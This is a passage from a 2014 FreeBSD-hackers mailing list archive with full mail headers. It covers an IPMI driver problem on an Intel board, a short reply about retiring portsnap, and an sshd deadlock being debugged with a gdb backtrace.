6ziMWqd3Nn+ZdbOGb4p7P4lzJU/D8q2FQY3DQd92Y4O/DcaGT1vgGYIW8lBDVN3Nl+AZ nOto3KfO/k9dZWEnSGzZ8+6MSr8wsQgFlFxsv3ZDiRVMGnkYoTXEfIpZZ38g51zmefd9 PP7g== MIME-Version: 1.0 X-Received: by 10.140.30.71 with SMTP id c65mr22860132qgc.16.1397187792494; Thu, 10 Apr 2014 20:43:12 -0700 (PDT) Received: by 10.140.92.56 with HTTP; Thu, 10 Apr 2014 20:43:12 -0700 (PDT) In-Reply-To: <1397156847.1088.11.camel@powernoodle.corp.yahoo.com> References: <1397156847.1088.11.camel@powernoodle.corp.yahoo.com> Date: Fri, 11 Apr 2014 07:43:12 +0400 Message-ID: Subject: Re: IPMI is broken on Intel S1200RP Board From: venom To: sbruno@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 03:43:13 -0000 dmesg output is attached procedure "kldload ipmi" is at end of file On Thu, Apr 10, 2014 at 11:07 PM, Sean Bruno wrote: > On Wed, 2014-04-09 at 12:56 +0400, venom wrote: > > Hello > > > > I have a problem on Intel S1200RP Board > > > > # uname -a > > FreeBSD anonymous.orb 10.0-RELEASE FreeBSD 10.0-RELEASE #0 r260789: Thu > Jan > > 16 22:34:59 UTC 2014 root@snap.freebsd.org: > /usr/obj/usr/src/sys/GENERIC > > amd64 > > # dmidecode -t 38 > > # dmidecode 2.12 > > SMBIOS 2.7 present. > > > > Handle 0x0090, DMI type 38, 16 bytes > > IPMI Device Information > > Interface Type: KCS (Keyboard Control Style) > > Specification Version: 2.0 > > I2C Slave Address: 0x10 > > NV Storage Device: Not Present > > Base Address: 0x0000000000000CA2 (I/O) > > # kldload ipmi > > # ipmitool sel list > > Could not open device at /dev/ipmi0 or /dev/ipmi/0 or /dev/ipmidev/0: No > > such file or directory > > Get SEL Info command failed > > # grep ipmi /boot/device.hints | wc -l > > 0 > > > > > > > > > > But IPMI work on Linux host > > part of dmesg output > > > -------------------------------------------------------------------------------------- > > [ 1374.180289] ipmi message handler version 39.2 > > [ 1374.181442] IPMI Watchdog: driver initialized > > [ 1380.685919] Copyright (C) 2004 MontaVista Software - IPMI Powerdown > via > > sys_reboot. > > [ 1384.000797] IPMI System Interface driver. > > [ 1384.000941] ipmi_si: probing via SMBIOS > > [ 1384.001027] ipmi_si: SMBIOS: io 0xca2 regsize 1 spacing 1 irq 0 > > [ 1384.001143] ipmi_si: Adding SMBIOS-specified kcs state machine > > [ 1384.001311] ipmi_si: probing via SPMI > > [ 1384.001400] ipmi_si: SPMI: io 0xca2 regsize 1 spacing 1 irq 0 > > [ 1384.001493] ipmi_si: Adding SPMI-specified kcs state machine duplicate > > interface > > [ 1384.001661] ipmi_si: Trying SMBIOS-specified kcs state machine at i/o > > address 0xca2, slave address 0x20, irq 0 > > [ 1384.141050] ipmi_si ipmi_si.0: Found new BMC (man_id: 0x000157, > prod_id: > > 0x0065, dev_id: 0x21) > > [ 1384.142999] IPMI poweroff: ATCA Detect mfg 0x157 prod 0x65 > > [ 1384.143097] IPMI poweroff: Found a chassis style poweroff function > > [ 1384.146161] ipmi_si ipmi_si.0: IPMI kcs interface initialized > > [ 1401.695688] ipmi device interface > > > -------------------------------------------------------------------------------------- > > > > # uname -rm > > 3.2.0-4-amd64 x86_64 > > # ipmitool sel > > SEL Information > > Version : 1.5 (v1.5, v2 compliant) > > Entries : 312 > > Free Space : 59886 bytes > > Percent Used : 7% > > Last Add Time : 04/09/2014 06:26:42 > > Last Del Time : Not Available > > Overflow : false > > Supported Cmds : 'Partial Add' 'Reserve' 'Get Alloc Info' > > # of Alloc Units : 3639 > > Alloc Unit Size : 18 > > # Free Units : 3327 > > Largest Free Blk : 3327 > > Max Record Size : 12 > > > > > > > > What strings need add to the file /boot/device.hints for enable access to > > IPMI ? > > > > -- > > > From your error report, I expect that the ipmi driver failed to attach > at startup. Can you do a verbose boot and post the dmesg for me to > review please? > > sean > From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 03:47:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5561C7F7; Fri, 11 Apr 2014 03:47:16 +0000 (UTC) Received: from mail-qg0-x234.google.com (mail-qg0-x234.google.com [IPv6:2607:f8b0:400d:c04::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 035CB1ACD; Fri, 11 Apr 2014 03:47:15 +0000 (UTC) Received: by mail-qg0-f52.google.com with SMTP id q107so4811123qgd.25 for ; Thu, 10 Apr 2014 20:47:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=5K7GhHDbmeHYlS6LkqTty80KLE1GXBJhMqNNx8JZBr0=; b=ZAloUb+yDoXN5nUeR65lnBXvI9XV/u8683V3oTPEr7KcqsRosPMFaeF6dQZ8oNLkVk 4tCVD7nWDyYB7lRoW7gW8A/8VewgUoAoT9zLfYuirvhvn5PNjijnK3eyTIDCHPEa0h29 B3aamrh/+rKxUMEIi7oyxHqTcWIMQ1kcpp1ICdwaLm2vVUmmYdtsqxcGHYK2lyR9W7wT qNlJhtI9YUSPLeINEXDZXvXcvceugoE9i4HJszPruRJL3QGgFPEi4Yfa7QXFnUpk7nPt /FSJ4YnOEoHTVc8GNK2Vvdnbc2txPRJhrjnq6aV2Lf6OE1jDMq4XFrnCWlg7yGpASGTT joXA== MIME-Version: 1.0 X-Received: by 10.140.30.225 with SMTP id d88mr23940957qgd.62.1397188035149; Thu, 10 Apr 2014 20:47:15 -0700 (PDT) Received: by 10.140.92.56 with HTTP; Thu, 10 Apr 2014 20:47:15 -0700 (PDT) In-Reply-To: References: <1397156847.1088.11.camel@powernoodle.corp.yahoo.com> Date: Fri, 11 Apr 2014 07:47:15 +0400 Message-ID: Subject: Re: IPMI is broken on Intel S1200RP Board From: venom To: sbruno@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 03:47:16 -0000 ppc1: cannot reserve I/O port range pcib0: allocated type 4 (0x60-0x60) for rid 0 of atkbdc0 pcib0: allocated type 4 (0x64-0x64) for rid 1 of atkbdc0 atkbdc0: AT keyboard controller not found pcib0: allocated type 4 (0x3f0-0x3f5) for rid 0 of fdc0 pcib0: allocated type 4 (0x3f7-0x3f7) for rid 1 of fdc0 ppc0: cannot reserve I/O port range pci0: driver added found-> vendor=0x8086, dev=0x8c22, revid=0x05 domain=0, bus=0, slot=31, func=3 class=0c-05-00, hdrtype=0x00, mfdev=0 cmdreg=0x0143, statreg=0x0280, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=c, irq=18 pci0:0:31:3: reprobing on driver added found-> vendor=0x8086, dev=0x8c24, revid=0x05 domain=0, bus=0, slot=31, func=6 class=11-80-00, hdrtype=0x00, mfdev=0 cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=c, irq=18 powerspec 3 supports D0 D3 current D0 MSI supports 1 message pci0:0:31:6: reprobing on driver added pci1: driver added pci2: driver added pci0: driver added found-> vendor=0x8086, dev=0x8c22, revid=0x05 domain=0, bus=0, slot=31, func=3 class=0c-05-00, hdrtype=0x00, mfdev=0 cmdreg=0x0143, statreg=0x0280, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=c, irq=18 pci0:0:31:3: reprobing on driver added found-> vendor=0x8086, dev=0x8c24, revid=0x05 domain=0, bus=0, slot=31, func=6 class=11-80-00, hdrtype=0x00, mfdev=0 cmdreg=0x0006, statreg=0x0010, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=c, irq=18 powerspec 3 supports D0 D3 current D0 MSI supports 1 message pci0:0:31:6: reprobing on driver added pci1: driver added pci2: driver added On Fri, Apr 11, 2014 at 7:43 AM, venom wrote: > dmesg output is attached > procedure "kldload ipmi" is at end of file > > > On Thu, Apr 10, 2014 at 11:07 PM, Sean Bruno wrote: > >> On Wed, 2014-04-09 at 12:56 +0400, venom wrote: >> > Hello >> > >> > I have a problem on Intel S1200RP Board >> > >> > # uname -a >> > FreeBSD anonymous.orb 10.0-RELEASE FreeBSD 10.0-RELEASE #0 r260789: Thu >> Jan >> > 16 22:34:59 UTC 2014 root@snap.freebsd.org: >> /usr/obj/usr/src/sys/GENERIC >> > amd64 >> > # dmidecode -t 38 >> > # dmidecode 2.12 >> > SMBIOS 2.7 present. >> > >> > Handle 0x0090, DMI type 38, 16 bytes >> > IPMI Device Information >> > Interface Type: KCS (Keyboard Control Style) >> > Specification Version: 2.0 >> > I2C Slave Address: 0x10 >> > NV Storage Device: Not Present >> > Base Address: 0x0000000000000CA2 (I/O) >> > # kldload ipmi >> > # ipmitool sel list >> > Could not open device at /dev/ipmi0 or /dev/ipmi/0 or /dev/ipmidev/0: No >> > such file or directory >> > Get SEL Info command failed >> > # grep ipmi /boot/device.hints | wc -l >> > 0 >> > >> > >> > >> > >> > But IPMI work on Linux host >> > part of dmesg output >> > >> -------------------------------------------------------------------------------------- >> > [ 1374.180289] ipmi message handler version 39.2 >> > [ 1374.181442] IPMI Watchdog: driver initialized >> > [ 1380.685919] Copyright (C) 2004 MontaVista Software - IPMI Powerdown >> via >> > sys_reboot. >> > [ 1384.000797] IPMI System Interface driver. >> > [ 1384.000941] ipmi_si: probing via SMBIOS >> > [ 1384.001027] ipmi_si: SMBIOS: io 0xca2 regsize 1 spacing 1 irq 0 >> > [ 1384.001143] ipmi_si: Adding SMBIOS-specified kcs state machine >> > [ 1384.001311] ipmi_si: probing via SPMI >> > [ 1384.001400] ipmi_si: SPMI: io 0xca2 regsize 1 spacing 1 irq 0 >> > [ 1384.001493] ipmi_si: Adding SPMI-specified kcs state machine >> duplicate >> > interface >> > [ 1384.001661] ipmi_si: Trying SMBIOS-specified kcs state machine at i/o >> > address 0xca2, slave address 0x20, irq 0 >> > [ 1384.141050] ipmi_si ipmi_si.0: Found new BMC (man_id: 0x000157, >> prod_id: >> > 0x0065, dev_id: 0x21) >> > [ 1384.142999] IPMI poweroff: ATCA Detect mfg 0x157 prod 0x65 >> > [ 1384.143097] IPMI poweroff: Found a chassis style poweroff function >> > [ 1384.146161] ipmi_si ipmi_si.0: IPMI kcs interface initialized >> > [ 1401.695688] ipmi device interface >> > >> -------------------------------------------------------------------------------------- >> > >> > # uname -rm >> > 3.2.0-4-amd64 x86_64 >> > # ipmitool sel >> > SEL Information >> > Version : 1.5 (v1.5, v2 compliant) >> > Entries : 312 >> > Free Space : 59886 bytes >> > Percent Used : 7% >> > Last Add Time : 04/09/2014 06:26:42 >> > Last Del Time : Not Available >> > Overflow : false >> > Supported Cmds : 'Partial Add' 'Reserve' 'Get Alloc Info' >> > # of Alloc Units : 3639 >> > Alloc Unit Size : 18 >> > # Free Units : 3327 >> > Largest Free Blk : 3327 >> > Max Record Size : 12 >> > >> > >> > >> > What strings need add to the file /boot/device.hints for enable access >> to >> > IPMI ? >> > >> > -- >> >> >> From your error report, I expect that the ipmi driver failed to attach >> at startup. Can you do a verbose boot and post the dmesg for me to >> review please? >> >> sean >> > > From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 07:46:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 82D78F7E; Fri, 11 Apr 2014 07:46:28 +0000 (UTC) Received: from mail.ru.ac.za (mail.ru.ac.za [IPv6:2001:4200:1010:0:250:56ff:fe8d:5]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 17A1612D8; Fri, 11 Apr 2014 07:46:27 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ru.ac.za; s=ru-msa; h=X-Authenticated-User:Content-Type:MIME-Version:Subject:To:From:Date:Message-ID; bh=lbkRa8eLNOXsYzPh893oSeJvk0y6b0hk4i3BsvIewm0=; b=m7z9hA3xYcqffLXmpgQSz7mYIDmEKuntYJsxvsz7wrytp3hu/6zQPtacpG6DP1ufrH9VZKcPPjLYgBwxoj8Tu3PqmHkycZam0R/nvKP2COYzJc63kN1YWNBQhWR0KulM; Received: from webmail.ru.ac.za ([146.231.128.26]:35818 helo=localhost) by mail.ru.ac.za with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1WYWAG-0003yK-9G; Fri, 11 Apr 2014 09:46:20 +0200 Received: from vorkosigan.ru.ac.za (vorkosigan.ru.ac.za [146.231.89.1]) by webmail.ru.ac.za (Horde Framework) with HTTP; Fri, 11 Apr 2014 09:46:20 +0200 Message-ID: <20140411094620.78881cjb990bw8gc@webmail.ru.ac.za> Date: Fri, 11 Apr 2014 09:46:20 +0200 From: J.McKeown@ru.ac.za To: David.I.Noel@gmail.com Subject: Re: MITM attacks against portsnap and freebsd-update References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; DelSp="Yes"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.3.10) / FreeBSD-8.2 X-Remote-Browser: Mozilla/5.0 (X11; FreeBSD amd64; rv:26.0) Gecko/20100101 Firefox/26.0 X-Virus-Scanned: mail.ru.ac.za (146.231.128.20) X-Authenticated-User: s0900137 from webmail.ru.ac.za (146.231.128.26) using auth_plaintext Cc: freebsd-hackers , Colin Percival , FreeBSD Questions Mailing List , secteam X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 07:46:28 -0000 Quoting David Noel : > 4. Retire portsnap. > > Details [snip] > Retiring Portsnap > > With the inclusion of svnlite in 10 I think the valid question comes > up as to whether we really need the portsnap system or whether it > could be safely retired. I see in the PR you suggest getting rid of the portsnap servers as well. 8 and 9 are still supported releases. Does this mean that anyone running 8.4 or 9.2 is going to lose the ability to upgrade their ports tree quickly and easily unless they also upgrade their servers /from a supported release/? From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 09:23:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A00BBC46; Fri, 11 Apr 2014 09:23:16 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 421921D1F; Fri, 11 Apr 2014 09:23:15 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s3B9N61D010445 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 11 Apr 2014 10:23:07 +0100 (BST) Date: Fri, 11 Apr 2014 10:23:07 +0100 From: Karl Pielorz To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <6A01B7D31E518CA6DFCE3E5A@Mail-PC.tdx.co.uk> In-Reply-To: <20140410184855.GP21331@kib.kiev.ua> References: <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 09:23:16 -0000 --On 10 April 2014 21:48 +0300 Konstantin Belousov wrote: >> I have an identical 'clone' of this system (with the same issue) - is >> there something I can put in '/etc/make.conf' and rebuild the world >> [with your patch] with debug stuff enabled everywhere, on that clone? > You should put DEBUG_FLAGS=-g either in make.conf or src.conf, > I am not sure which one is correct. Ok, '/etc/src.conf' *appears* to be the right place. I'm rebuilding everything now with that set. I'll get it installed, hopefully reproduce the problem - then run a back trace. This build includes your most recent rtld-elf patch etc. I'll post again when this has completed with the results... I'm also investigating if I can get this machine setup somewhere with external access available... -Karl From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 12:39:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F1C414E8; Fri, 11 Apr 2014 12:39:56 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id A4D1512EB; Fri, 11 Apr 2014 12:39:56 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s3BCdsbq027498 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 11 Apr 2014 13:39:55 +0100 (BST) Date: Fri, 11 Apr 2014 13:39:54 +0100 From: Karl Pielorz To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> In-Reply-To: <20140410184855.GP21331@kib.kiev.ua> References: <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 12:39:57 -0000 Ok, rebuilt a debug world (with your rtld-elf patch), installed it - reproduced the issue, and ran up gdb on a 'urdlck' stuck sshd, and got the trace below. Fingers crossed, -Karl ps. When running up gdb I get a number of these errors (having checked, I've always got these - I just didn't notice before as they scroll past right at the top of the output from gdb starting up): " Attaching to program: /usr/sbin/sshd, process 2220 warning: current_sos: Can't read pathname for load map: Bad address warning: current_sos: Can't read pathname for load map: Bad address " I'm presuming they can be ignored? --- " [Switching to Thread 804006400 (LWP 100083/sshd)] _umtx_op_err () at /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 37 RSYSCALL_ERR(_umtx_op) (gdb) bt #0 _umtx_op_err () at /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 #1 0x00000008038e304f in __thr_rwlock_rdlock (rwlock=0x803afb480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 #2 0x00000008038ea22c in _thr_rtld_rlock_acquire (lock=0x803afb480) at thr_umtx.h:196 #3 0x000000080064f9a2 in rlock_acquire (lock=0x80085fe00, lockstate=0x7fffffffc058) at /usr/src/libexec/rtld-elf/rtld_lock.c:197 #4 0x00000008006498c9 in _rtld_bind (obj=0x800662000, reloff=13008) at /usr/src/libexec/rtld-elf/rtld.c:675 #5 0x00000008006470cd in _rtld_bind_start () at /usr/src/libexec/rtld-elf/amd64/rtld_start.S:121 #6 0x000000000041072c in grace_alarm_handler (sig=0) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:378 #7 #8 _umtx_op_err () at /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 #9 0x00000008038e304f in __thr_rwlock_rdlock (rwlock=0x803afb480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 #10 0x00000008038ea22c in _thr_rtld_rlock_acquire (lock=0x803afb480) at thr_umtx.h:196 #11 0x000000080064f9a2 in rlock_acquire (lock=0x80085fe00, lockstate=0x7fffffffc668) at /usr/src/libexec/rtld-elf/rtld_lock.c:197 #12 0x00000008006498c9 in _rtld_bind (obj=0x800662000, reloff=9240) at /usr/src/libexec/rtld-elf/rtld.c:675 #13 0x00000008006470cd in _rtld_bind_start () at /usr/src/libexec/rtld-elf/amd64/rtld_start.S:121 #14 0x000000000042f9dd in sshpam_sigchld_handler (sig=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:152 #15 #16 0x000000080064a1c4 in dlclose (handle=0x800696c00) at /usr/src/libexec/rtld-elf/rtld.c:4136 #17 0x0000000800ede121 in openpam_destroy_chain (chain=0x8040634e0) at /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/openpam_load.c:92 #18 0x0000000800ede0bc in openpam_destroy_chain (chain=0x804063460) at /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/openpam_load.c:109 #19 0x0000000800ede0bc in openpam_destroy_chain (chain=0x8040633e0) at /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/openpam_load.c:109 #20 0x0000000800ede051 in openpam_clear_chains (policy=0x80401a6c8) at /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/openpam_load.c:128 #21 0x0000000800eda9e7 in pam_end (pamh=0x80401a6c0, status=) at /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/pam_end.c:83 #22 0x000000000042e15d in sshpam_cleanup () at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:614 #23 0x000000000041d58f in do_cleanup (authctxt=0x80401a600) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:2732 #24 0x000000000041064f in ssh_cleanup_exit (i=255) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:2545 #25 0x0000000000428f83 in mm_request_receive (sock=, m=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor_wrap.c:153 #26 0x0000000000427e26 in monitor_read (pmonitor=0x804022220, ent=0x6465a0, pent=0x7fffffffd240) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:593 #27 0x0000000000427b49 in monitor_child_preauth (_authctxt=, pmonitor=0x804022220) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:387 #28 0x000000000040fd15 in main (ac=, av=) at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:679 " From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 13:16:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 914049E6; Fri, 11 Apr 2014 13:16:59 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 15AA31820; Fri, 11 Apr 2014 13:16:58 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3BDGosW050727; Fri, 11 Apr 2014 16:16:50 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3BDGosW050727 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3BDGofo050726; Fri, 11 Apr 2014 16:16:50 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 11 Apr 2014 16:16:49 +0300 From: Konstantin Belousov To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140411131649.GR21331@kib.kiev.ua> References: <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="VdK9YnsVPSS4W/L5" Content-Disposition: inline In-Reply-To: <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 13:16:59 -0000 --VdK9YnsVPSS4W/L5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 11, 2014 at 01:39:54PM +0100, Karl Pielorz wrote: >=20 > Ok, rebuilt a debug world (with your rtld-elf patch), installed it -=20 > reproduced the issue, and ran up gdb on a 'urdlck' stuck sshd, and got th= e=20 > trace below. The trace looks reasonable. I vaguelly remember that you already answered this, but I want to start investigating from the different angle. Please show me the output of 'ldd /usr/sbin/sshd' on your machine. This happens on stable/10, right ? I do not see any linking with libpthread in the sshd Makefile. Could it be that libthr is loaded as dependency of some pam module ? >=20 > Fingers crossed, >=20 > -Karl >=20 > ps. When running up gdb I get a number of these errors (having checked,= =20 > I've always got these - I just didn't notice before as they scroll past= =20 > right at the top of the output from gdb starting up): >=20 > " > Attaching to program: /usr/sbin/sshd, process 2220 >=20 > warning: current_sos: Can't read pathname for load map: Bad address >=20 >=20 > warning: current_sos: Can't read pathname for load map: Bad address > " >=20 > I'm presuming they can be ignored? Ignore this. >=20 > --- >=20 > " > [Switching to Thread 804006400 (LWP 100083/sshd)] > _umtx_op_err () at /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 > 37 RSYSCALL_ERR(_umtx_op) > (gdb) bt > #0 _umtx_op_err () at=20 > /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 > #1 0x00000008038e304f in __thr_rwlock_rdlock (rwlock=3D0x803afb480,=20 > flags=3D, tsp=3D) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #2 0x00000008038ea22c in _thr_rtld_rlock_acquire (lock=3D0x803afb480) at= =20 > thr_umtx.h:196 > #3 0x000000080064f9a2 in rlock_acquire (lock=3D0x80085fe00,=20 > lockstate=3D0x7fffffffc058) at 